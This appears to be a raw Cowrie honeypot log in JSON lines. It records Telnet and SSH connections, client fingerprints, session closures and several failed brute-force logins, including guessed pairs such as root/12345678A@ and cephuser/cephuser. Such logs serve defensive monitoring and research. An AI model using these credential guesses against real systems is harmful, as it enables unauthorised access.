{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@2023","message":"login attempt [ubuntu/ubuntu@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:34.727318Z","src_ip":"203.90.110.186","session":"e953f4363188","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678A@","message":"login attempt [root/12345678A@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:35.013324Z","src_ip":"72.253.251.7","session":"bc4db8f78721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44760,"dst_ip":"159.203.135.109","dst_port":23,"session":"770e6bfa3e8a","protocol":"telnet","message":"New connection: 147.124.211.111:44760 (159.203.135.109:23) [session: 770e6bfa3e8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:35.299315Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44776,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb814e4e572b","protocol":"telnet","message":"New connection: 147.124.211.111:44776 (159.203.135.109:23) [session: fb814e4e572b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:35.377888Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44782,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc14020add3a","protocol":"telnet","message":"New connection: 147.124.211.111:44782 (159.203.135.109:23) [session: cc14020add3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:35.837525Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:35.941786Z","src_ip":"203.90.110.186","session":"e953f4363188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:36.136705Z","src_ip":"72.253.251.7","session":"bc4db8f78721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44796,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea5e41b85261","protocol":"telnet","message":"New connection: 147.124.211.111:44796 (159.203.135.109:23) [session: ea5e41b85261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:36.465724Z"}
{"eventid":"cowrie.session.closed","duration":31.14959168434143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:36.625803Z","src_ip":"147.124.211.111","session":"44002db8913d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51752,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a4c79f6a8ca","protocol":"telnet","message":"New connection: 137.184.155.248:51752 (10.17.0.5:23) [session: 0a4c79f6a8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:36.689047Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44806,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd1e4cc7b717","protocol":"telnet","message":"New connection: 147.124.211.111:44806 (159.203.135.109:23) [session: bd1e4cc7b717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:36.871995Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44814,"dst_ip":"159.203.135.109","dst_port":23,"session":"9965c9a78ca6","protocol":"telnet","message":"New connection: 147.124.211.111:44814 (159.203.135.109:23) [session: 9965c9a78ca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:36.875957Z"}
{"eventid":"cowrie.session.closed","duration":30.786017894744873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:37.089071Z","src_ip":"147.124.211.111","session":"fd6a1edb2bb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.040871620178223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:37.111725Z","src_ip":"147.124.211.111","session":"6aa6b960295d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44770,"dst_ip":"159.203.135.109","dst_port":23,"session":"958cc337ef0b","protocol":"telnet","message":"New connection: 147.124.211.111:44770 (159.203.135.109:23) [session: 958cc337ef0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:37.360612Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44824,"dst_ip":"159.203.135.109","dst_port":23,"session":"01f5707c9be7","protocol":"telnet","message":"New connection: 147.124.211.111:44824 (159.203.135.109:23) [session: 01f5707c9be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:37.676044Z"}
{"eventid":"cowrie.session.closed","duration":31.45888066291809,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:37.844823Z","src_ip":"147.124.211.111","session":"31dcf55bcddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44846,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5d469d49dd7","protocol":"telnet","message":"New connection: 147.124.211.111:44846 (159.203.135.109:23) [session: c5d469d49dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:38.602937Z"}
{"eventid":"cowrie.session.closed","duration":31.143184185028076,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:38.623091Z","src_ip":"147.124.211.111","session":"2208df2d7d06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.043830394744873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:38.696405Z","src_ip":"147.124.211.111","session":"f9decd66a6e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":47924,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8d66ed2d51d","protocol":"ssh","message":"New connection: 103.86.180.10:47924 (159.203.135.109:22) [session: a8d66ed2d51d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:38.744646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:38.749477Z","src_ip":"103.86.180.10","session":"a8d66ed2d51d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.22455334663391,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:38.762552Z","src_ip":"147.124.211.111","session":"61fa15045666","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:38.946467Z","src_ip":"103.86.180.10","session":"a8d66ed2d51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44854,"dst_ip":"159.203.135.109","dst_port":23,"session":"573039fb7ebb","protocol":"telnet","message":"New connection: 147.124.211.111:44854 (159.203.135.109:23) [session: 573039fb7ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:39.292549Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":44836,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d10e6f44748","protocol":"telnet","message":"New connection: 147.124.211.111:44836 (159.203.135.109:23) [session: 4d10e6f44748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:39.601327Z"}
{"eventid":"cowrie.login.failed","username":"cephuser","password":"cephuser","message":"login attempt [cephuser/cephuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:39.766670Z","src_ip":"103.86.180.10","session":"a8d66ed2d51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55320,"dst_ip":"159.203.135.109","dst_port":23,"session":"861114b92497","protocol":"telnet","message":"New connection: 147.124.211.111:55320 (159.203.135.109:23) [session: 861114b92497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:40.380317Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55324,"dst_ip":"159.203.135.109","dst_port":23,"session":"0abbba9eee44","protocol":"telnet","message":"New connection: 147.124.211.111:55324 (159.203.135.109:23) [session: 0abbba9eee44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:40.533342Z"}
{"eventid":"cowrie.session.closed","duration":31.341752767562866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:40.658299Z","src_ip":"147.124.211.111","session":"d14b6829cd46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55336,"dst_ip":"159.203.135.109","dst_port":23,"session":"adc666c407a2","protocol":"telnet","message":"New connection: 147.124.211.111:55336 (159.203.135.109:23) [session: adc666c407a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:40.815376Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:40.966459Z","src_ip":"103.86.180.10","session":"a8d66ed2d51d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55342,"dst_ip":"159.203.135.109","dst_port":23,"session":"92b1c1fedcd0","protocol":"telnet","message":"New connection: 147.124.211.111:55342 (159.203.135.109:23) [session: 92b1c1fedcd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:41.184257Z"}
{"eventid":"cowrie.session.closed","duration":31.7664897441864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:42.008404Z","src_ip":"147.124.211.111","session":"8158b5039135","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":51754,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcae501cdd99","protocol":"telnet","message":"New connection: 137.184.155.248:51754 (10.17.0.5:23) [session: fcae501cdd99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:42.039912Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55360,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f4f3d25276e","protocol":"telnet","message":"New connection: 147.124.211.111:55360 (159.203.135.109:23) [session: 1f4f3d25276e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:42.226125Z"}
{"eventid":"cowrie.session.closed","duration":30.61327028274536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:43.544415Z","src_ip":"147.124.211.111","session":"a4aa8613162d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861003875732422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:43.549995Z","src_ip":"147.124.211.111","session":"9bfea19837f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":33618,"dst_ip":"10.17.0.5","dst_port":22,"session":"279e7c3c7480","protocol":"ssh","message":"New connection: 41.86.34.139:33618 (10.17.0.5:22) [session: 279e7c3c7480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:43.746211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:43.750562Z","src_ip":"41.86.34.139","session":"279e7c3c7480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.858059406280518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:43.754683Z","src_ip":"147.124.211.111","session":"791b4342015d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:43.957875Z","src_ip":"41.86.34.139","session":"279e7c3c7480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55362,"dst_ip":"159.203.135.109","dst_port":23,"session":"66cb8f8753a2","protocol":"telnet","message":"New connection: 147.124.211.111:55362 (159.203.135.109:23) [session: 66cb8f8753a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:44.018112Z"}
{"eventid":"cowrie.session.closed","duration":30.089284658432007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:44.044324Z","src_ip":"147.124.211.111","session":"be97fd94de1e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"abc1234","message":"login attempt [user/abc1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:44.821019Z","src_ip":"41.86.34.139","session":"279e7c3c7480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.919559001922607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:45.022862Z","src_ip":"147.124.211.111","session":"7465a434d9fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.578022718429565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:45.152785Z","src_ip":"147.124.211.111","session":"3d35ff35aa01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55350,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d320de51db1","protocol":"telnet","message":"New connection: 147.124.211.111:55350 (159.203.135.109:23) [session: 0d320de51db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:45.170041Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55408,"dst_ip":"159.203.135.109","dst_port":23,"session":"243a9fffbfaf","protocol":"telnet","message":"New connection: 147.124.211.111:55408 (159.203.135.109:23) [session: 243a9fffbfaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:45.231918Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55412,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d0ba36af7e0","protocol":"telnet","message":"New connection: 147.124.211.111:55412 (159.203.135.109:23) [session: 9d0ba36af7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:45.353511Z"}
{"eventid":"cowrie.session.closed","duration":31.35052800178528,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:45.546691Z","src_ip":"147.124.211.111","session":"906c6bfe4bb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55392,"dst_ip":"159.203.135.109","dst_port":23,"session":"a66bfefa50e5","protocol":"telnet","message":"New connection: 147.124.211.111:55392 (159.203.135.109:23) [session: a66bfefa50e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:45.732211Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:46.031032Z","src_ip":"41.86.34.139","session":"279e7c3c7480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.17224359512329,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:46.230197Z","src_ip":"147.124.211.111","session":"820fa6bd0bf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15830159187317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:46.324862Z","src_ip":"147.124.211.111","session":"d9e34152cecb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55440,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dae634bfc97","protocol":"telnet","message":"New connection: 147.124.211.111:55440 (159.203.135.109:23) [session: 7dae634bfc97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:46.601815Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55446,"dst_ip":"159.203.135.109","dst_port":23,"session":"adb9e57c7725","protocol":"telnet","message":"New connection: 147.124.211.111:55446 (159.203.135.109:23) [session: adb9e57c7725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:46.683233Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55454,"dst_ip":"159.203.135.109","dst_port":23,"session":"f01ecf5cd459","protocol":"telnet","message":"New connection: 147.124.211.111:55454 (159.203.135.109:23) [session: f01ecf5cd459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:47.073672Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55422,"dst_ip":"159.203.135.109","dst_port":23,"session":"26804f10030f","protocol":"telnet","message":"New connection: 147.124.211.111:55422 (159.203.135.109:23) [session: 26804f10030f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:47.332659Z"}
{"eventid":"cowrie.session.closed","duration":5.349032402038574,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:47.388784Z","src_ip":"137.184.155.248","session":"fcae501cdd99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55464,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e6a31055b76","protocol":"telnet","message":"New connection: 147.124.211.111:55464 (159.203.135.109:23) [session: 5e6a31055b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:47.408869Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55376,"dst_ip":"159.203.135.109","dst_port":23,"session":"736a3ae60c63","protocol":"telnet","message":"New connection: 147.124.211.111:55376 (159.203.135.109:23) [session: 736a3ae60c63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:47.665108Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55478,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaba43168541","protocol":"telnet","message":"New connection: 147.124.211.111:55478 (159.203.135.109:23) [session: eaba43168541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:47.761955Z"}
{"eventid":"cowrie.session.closed","duration":30.699057817459106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:48.029622Z","src_ip":"147.124.211.111","session":"ff278230ba7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.888057947158813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:48.860206Z","src_ip":"147.124.211.111","session":"c658c18cc00e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55494,"dst_ip":"159.203.135.109","dst_port":23,"session":"06c0e79dfccb","protocol":"telnet","message":"New connection: 147.124.211.111:55494 (159.203.135.109:23) [session: 06c0e79dfccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:48.945354Z"}
{"eventid":"cowrie.session.closed","duration":30.702809810638428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:49.127044Z","src_ip":"147.124.211.111","session":"981999c90fd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55496,"dst_ip":"159.203.135.109","dst_port":23,"session":"5221bd9b7cc5","protocol":"telnet","message":"New connection: 147.124.211.111:55496 (159.203.135.109:23) [session: 5221bd9b7cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:49.199728Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55434,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc854ba480e0","protocol":"telnet","message":"New connection: 147.124.211.111:55434 (159.203.135.109:23) [session: cc854ba480e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:49.393816Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55510,"dst_ip":"159.203.135.109","dst_port":23,"session":"f33aef94f371","protocol":"telnet","message":"New connection: 147.124.211.111:55510 (159.203.135.109:23) [session: f33aef94f371]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:49.561847Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55524,"dst_ip":"159.203.135.109","dst_port":23,"session":"c112d671d9b7","protocol":"telnet","message":"New connection: 147.124.211.111:55524 (159.203.135.109:23) [session: c112d671d9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:50:49.794698Z"}
